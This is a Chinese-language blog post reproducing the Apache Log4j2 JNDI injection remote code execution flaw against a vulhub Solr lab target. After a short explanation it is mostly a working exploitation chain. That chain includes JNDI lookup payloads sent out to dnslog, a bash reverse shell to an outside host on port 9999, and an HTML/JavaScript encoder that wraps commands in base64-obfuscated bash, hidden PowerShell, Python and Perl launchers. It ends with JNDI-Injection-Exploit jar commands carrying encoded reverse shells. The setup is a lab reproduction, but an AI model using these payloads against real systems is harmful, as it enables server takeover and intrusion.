一、漏洞简介
1.漏洞原理
Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
2.漏洞详情
Apache Log4j 远程代码执行漏洞 严重程度: 严重
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
二、环境搭建
靶机:ubuntu 使用vulhub的环境
vps:ubuntu
攻击机:win10
三、漏洞测试
我们打开漏洞的环境
cat docker-compose.yml
cat docker-compose.yml version: '2' services: solr: image: vulhub/solr:8.11.0 ports: - "8983:8983"
docker-composer up -d
f6cf097301c2 vulhub/solr:8.11.0 "/opt/solr/bin/solr …" 53 minutes ago Up 53 minutes 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp log4j2_solr_1
漏洞点在action参数
我们来验证一下是否存在log4j
payload:
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://xxxx.dnslog.cn/exp}
我这里采用ceyep平台来验证
三、反弹shell
既然存在漏洞,那么我们就开始准备来进行反弹shell
首先我们先写好反弹shell的命令
bash -i >& /dev/tcp/vps_ip/9999 0>&1
里面的vps_ip是你要反弹shell的主机ip,9999是要监听的端口。
如我这里用的是10.0.0.110,进行编码:
编码的站点如下:
<!DOCTYPE html> <html> <head> <title>java runtime exec usage...</title> </head> <body> <p>Input type: <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label> <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label> <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label> <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p> <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea> <textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p> <script> var taInput = document.querySelector('textarea#input'); var taOutput = document.querySelector('textarea#output'); function processInput() { var option = document.querySelector('input[name="option"]:checked').value; switch (option) { case 'bash': taInput.placeholder = 'Type Bash here...' taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}'; break; case 'powershell': taInput.placeholder = 'Type PowerShell here...' poshInput = '' for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); } taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput); break; case 'python': taInput.placeholder = 'Type Python here...' taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))"; break; case 'perl': taInput.placeholder = 'Type Perl here...' taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))"; break; default: taOutput.value = '' } if (!taInput.value) taOutput.value = ''; } taInput.addEventListener('input', processInput, false); </script> </body> </html>
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMjUwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.0.0.250"
将bash编码的复制,然后运行漏洞利用的jar文件:
下载地址:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133" -C是编码后的内容,-A是远程 rmi ldap 服务的ip地址。 注意要先nc监听9999端口.
标签:taInput,Log4j2,value,漏洞,复现,Apache,LOG4j2,bash From: https://www.cnblogs.com/websec80/p/17761171.html